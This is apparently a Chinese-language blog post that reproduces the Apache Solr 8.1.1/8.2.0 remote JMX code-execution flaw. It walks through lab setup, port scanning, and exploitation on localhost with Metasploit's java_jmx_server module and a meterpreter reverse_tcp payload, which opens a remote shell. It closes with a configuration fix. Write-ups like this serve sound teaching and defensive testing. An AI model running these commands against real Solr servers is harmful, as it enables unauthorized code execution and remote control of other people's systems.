Apache Solr JMX服务 RCE 漏洞复现

ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你

0X00漏洞简介

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。
如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0X01漏洞影响范围

Apache Solr8.1.1和8.2.0版本且不影响Windows系统用户

0X02漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0X03漏洞环境搭建

1.首先下载含有漏洞的Apache Solr版本

这里提供一个可以下载任意版本Apache Solr的网址

http://archive.apache.org/dist/lucene/solr

linux下可以通过命令wegt http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

来下载

或者可以windows下载好后通过xftp等软件传到linux

2.下载好后用 unzip solr-8.2.0.zip来讲该文件进行解压

解压完成后进入该文件夹的bin目录下

查看solr.in.sh文件发现ENABLE_REMOTE_JMX_OPTS="true"选项开启

在bin目录下执行命令

./solr  start  -force

来启动solr服务

访问ip加8983端口

得到该界面则环境搭建成功

0X04漏洞复现

使用尖刀端口扫描后发现18983端口开启

我们可以用MSF中的exploit/multi/misc/java_jmx_server模块进行漏洞复现。(因为我用kali搭建漏洞环境,使用127.0.0.1本地地址作为攻击目标)

开启msf执行如下命令

use exploit/multi/misc/java_jmx_server

set RHOST 127.0.0.1

set RPORT 18983

set payload java/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT  4444

执行完成,发现成功建立连接

0X05漏洞修复

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

最新文章

  1. Android Git 客户端
  2. 数据结构算法C语言实现(八)--- 3.2栈的应用举例:迷宫求解与表达式求值
  3. 机器学习算法基础(Python和R语言实现)
  4. Zookeeper3.4.6部署伪分布集群(Apache)
  5. http协议说明
  6. Reader开发(二)增加PDF阅读功能
  7. 【框架学习与探究之AOP--Castle DynamicProxy】
  8. 【20190405】JavaScript-整理一些常用正则式
  9. 使用 pt-online-schema-change 实现在线DDL
  10. golang:吐槽multipart的设计
  11. Could not find class com.google.gson.Gson
  12. C#特征备忘
  13. class 3 求数组中的最大值(单元测试)
  14. nginx高性能webserver具体解释(1)--安装nginx
  15. Latex算法伪代码使用总结
  16. 【BZOJ 3676】 3676: [Apio2014]回文串 (SAM+Manacher+倍增)
  17. 《iOS Human Interface Guidelines》——Popover
  18. 判断弹出框存在(alert_is_ present)
  19. 「日常训练」「小专题·USACO」 Barn Repair(1-4)
  20. 【spring boot】spring boot中使用定时任务配置

热门文章

  1. Qt Installer Framework翻译(1)
  2. 什么是“跑面”呢? - ERSS耳斯百科:您的随身移动百科
  3. Educational Codeforces Round 81 (Rated for Div. 2) B. Infinite Prefixes
  4. 谈谈 InnoDB引擎中的一些索引策略
  5. 内网IP的解释
  6. string method 字符串常用方法讲解
  7. 设计模式-05建造者模式(Builder Pattern)
  8. 计算机原理基础:DNS
  9. qt creator源码全方面分析(2-7)
  10. 《N诺机试指南》(三)STL使用